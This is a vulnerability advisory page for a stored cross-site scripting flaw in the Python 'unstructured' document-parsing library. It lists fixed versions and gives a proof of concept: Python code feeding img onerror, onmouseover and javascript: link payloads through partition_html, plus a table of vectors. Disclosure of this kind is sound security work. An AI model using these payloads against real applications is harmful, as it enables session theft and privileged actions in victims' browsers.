All vulnerabilities
CVE-2026-104250GHSA-v5mq-3xhg-98m9

unstructured: Stored XSS via unescaped HTML generation

Unstructured-IO unstructuredpipLibraries & packages
CVSS
6.1Medium
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 14 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.19%Chance of exploitation activity in the next 30 days, higher than 8% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in0.24.1Fixed versionGitHub
Published13 Oct 2026Updated 15 Oct 2026CVE List

What fixes it

  • 0.24.1unstructured, pipGitHub
  • 0.24.1unstructured, PyPIOSVpip install "unstructured>=0.24.1"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

When unstructured parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. <img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.

Details

partition_html(html_parser_version="v2") (and the VLM partitioner) preserve the input document's element tags, attributes, and text into metadata.text_as_html, and elements_to_html() outputs that as an HTML document.

The function that builds HTML on this path, to_html() in unstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such as onerror / onmouseover / onload originating from the input document are left in the output HTML as-is (literal <script> tags are stripped by the parser, but attribute-based vectors and javascript: URLs are not). In addition, link URLs are not scheme-filtered, so <a href="javascript:..."> is also emitted.

Relevant source: documents/ontology.py (to_html, _construct_attribute_string, _generate_final_html); partition/html/transformations.py (text_as_html = ontology_element.to_html()); partition/html/convert.py (elements_to_html).

PoC

Environment: downloads.unstructured.io/unstructured-io/unstructured:latest, unstructured 0.23.3.

from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html

malicious = ('<body class="Document">'
             '<p class="Paragraph" onmouseover="alert(1)">hello'
             '<img src=x onerror="alert(document.domain)"></p>'
             '<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
             '</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))

elements_to_html() output body — the unescaped vectors survive:

<p class="NarrativeText" id="..." onmouseover="alert(1)">
  <p class="Paragraph">hello</p>
  <img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>

Opening xss_output.html in a browser fires alert automatically (via <img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):

| Vector | Trigger | Cause | |---|---|---| | <img onerror> | open file (auto) | element text not escaped | | <svg onload> (via title='"><svg ...>') | open file (auto) | attribute value not escaped (" breakout) | | <a href=javascript:> | click | link URL scheme not filtered | | onmouseover | hover | source attribute preserved as-is |

Impact

Stored XSS caused by improper output encoding. Anyone who renders the HTML or text_as_html generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, <img onerror> fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.

Text from GitHub Advisory Database

Affected versions 53

  • unstructured, pip<= 0.24.0GitHub
  • unstructuredaffected: < 0.24.1CVE List
  • unstructured, PyPIfrom first release, fixed in 0.24.1OSV
  • unstructured, PyPI0.0.1.dev0OSV
  • unstructured, PyPI0.10.0OSV
  • unstructured, PyPI0.10.1OSV
  • unstructured, PyPI0.10.10OSV
  • unstructured, PyPI0.10.11OSV
  • unstructured, PyPI0.10.12OSV
  • unstructured, PyPI0.10.13OSV
  • unstructured, PyPI0.10.14OSV
  • unstructured, PyPI0.10.15OSV
  • unstructured, PyPI0.10.16OSV
  • unstructured, PyPI0.10.18OSV
  • unstructured, PyPI0.10.19OSV
  • unstructured, PyPI0.10.19.dev18OSV
  • unstructured, PyPI0.10.2OSV
  • unstructured, PyPI0.10.20OSV
  • unstructured, PyPI0.10.21OSV
  • unstructured, PyPI0.10.22OSV
  • unstructured, PyPI0.10.23OSV
  • unstructured, PyPI0.10.24OSV
  • unstructured, PyPI0.10.25OSV
  • unstructured, PyPI0.10.26OSV
  • unstructured, PyPI0.10.27OSV
  • unstructured, PyPI0.10.28OSV
  • unstructured, PyPI0.10.29OSV
  • unstructured, PyPI0.10.30OSV
  • unstructured, PyPI0.10.4OSV
  • unstructured, PyPI0.10.5OSV
  • unstructured, PyPI0.10.6OSV
  • unstructured, PyPI0.10.7OSV
  • unstructured, PyPI0.10.8OSV
  • unstructured, PyPI0.10.9OSV
  • unstructured, PyPI0.11.0OSV
  • unstructured, PyPI0.11.1OSV
  • unstructured, PyPI0.11.2OSV
  • unstructured, PyPI0.11.4OSV
  • unstructured, PyPI0.11.5OSV
  • unstructured, PyPI0.11.6OSV
  • unstructured, PyPI0.11.7OSV
  • unstructured, PyPI0.11.8OSV
  • unstructured, PyPI0.12.0OSV
  • unstructured, PyPI0.12.2OSV
  • unstructured, PyPI0.12.3OSV
  • unstructured, PyPI0.12.4OSV
  • unstructured, PyPI0.12.5OSV
  • unstructured, PyPI0.12.6OSV
  • unstructured, PyPI0.13.0OSV
  • unstructured, PyPI0.13.1OSV
  • unstructured, PyPI0.13.2OSV
  • unstructured, PyPI0.13.3OSV
  • unstructured, PyPI0.13.4OSV

References 6